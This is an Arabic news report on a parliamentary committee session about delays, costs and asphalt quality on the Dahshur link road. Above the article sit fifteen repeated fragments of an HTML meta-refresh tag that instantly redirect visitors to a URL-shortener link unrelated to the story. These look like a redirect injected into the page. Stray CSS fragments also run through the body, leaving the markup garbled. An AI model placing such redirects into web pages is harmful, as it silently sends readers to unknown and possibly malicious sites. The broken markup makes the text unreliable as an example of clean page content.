طريق وصلة دهشور يثير مناقشات محلية النواب
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
weight: 400;”>فيما، انتقد النائب محمد الحسيني، عضو لجنة الإدارة المحلية، تأخر تسليم الطريق، مؤكدا عدم وجود عائق يمنعه من التنفيذ في الموعد المحدد، مطالبا جهاز المدينة بالالتزام بالمواعد المحددة. weight: 400;”> weight: 400;”>واعترض مقدم الطلب علي تكلفة الطريق، قائلا: “المبلغ كبير وبه زيادة ٤٠ مليون جنيه، لأن الـ٨ متر تتكلف حاليا مليون و٦٠٠ألف جنيه” . weight: 400;”> weight: 400;”>من جانبه، قال النائب أحمد السجينى، رئيس اللجنة، إن هذا الطريق تم تطويره وتصميمه بشكل عالمي ويمثل أهمية كبيرة في وصوله للمتحف المصري الكبير ومطار سفنكس، وطالب السجيني لجنة الاستلام بمراعات المواصفات الفنية بالإضافة لتأكيده علي رئيس جهاز ٦ أكتوبر بمعاينة طريق القطامية ونقل هذه التجربة الناجحة لطريق الشيخ زايد ومدينة أكتوبر، ومراعاة إيجاد حلول للخلل الفني بالفواصل واللحمات بالطريق. weight: 400;”> كما وجه “السجيني”، اللوم لرئيس هيئة الطرق والكباري بسبب عدم حضوره اجتماعات اللجنة، مطالبا بحضوره وتوضيح “هل هناك سوء تفاهم؟” . weight: 400;”> weight: 400;”>وقال النائب محمد الفيومي، إن شركة المقاولون العرب هي من الشركات التي تعمل في المشاريع التي تتولاها القوات المسلحة، وتنفذ علي أعلي كفاءة، مرجعا ذلك للإشراف المميز والجاد للقوات المسلحة”. weight: 400;”>من ناحيته، طالب النائب فتحي الشرقاوي، هيئة الطرق والكباري بإرسال عينة لمركز بحوث الإسكان والبناء لمطابقاتها للمواصفات القياسية. weight: 400;”>فيما أشار محمد فرغل رئيس الإدارة المركزية لهيئة الطرق والكباري، إلي وجود شركتين لإنتاج البتومين شركة بترول النصر السويس، وتمثل ١٥%، وشركة بترول الإسكندرية، وتمثل النسبة الباقية، ويتم خلط نسب البيتومين وتختلف مكوناته بين قطفة وأخري والذي يستخدم لرصف الطرق. weight: 400;”>وطالب النائب يسري الأسيوطي، بتشكيل لجنة خاصة علي مستوي الجمهورية لمطابقة الكود الفني للأسفلت من مركز البحوث للإسكان والبناء ووزارتي (الإسكان والنقل) وشركتي البترول (السويس والإسكندرية). weight: 400;”> weight: 400;”>فيما أعلن النائب صلاح أبو هميلة تقدمه بطلب إحاطة بشأن مشاكل المواصفات الخاصة بمواد الرصف من الأسفلت والحجر المستخدم به. weight: 400;”> weight: 400;”> weight: 400;”> weight: 400;”>وأوصت اللجنة بالاستعانة بطلب الإحاطة الذي سيتقدم به النائب صلاح أبو هميلة والتنسيق مع رؤساء اللجان النوعية بالبرلمان لتحديد جلسة خاصة بحضور الوزارات والجهات المعنية والجمعية العامة لمواصفات المواد، كما أوصت بمراجعة مكون البتومين الصادر من شركة الإسكندرية للبترول ومحاولات الوصول إلي معدلات علمية حتي تكون ذات النمط الفني والقياسي لشركة النصر البترول بالسويس.
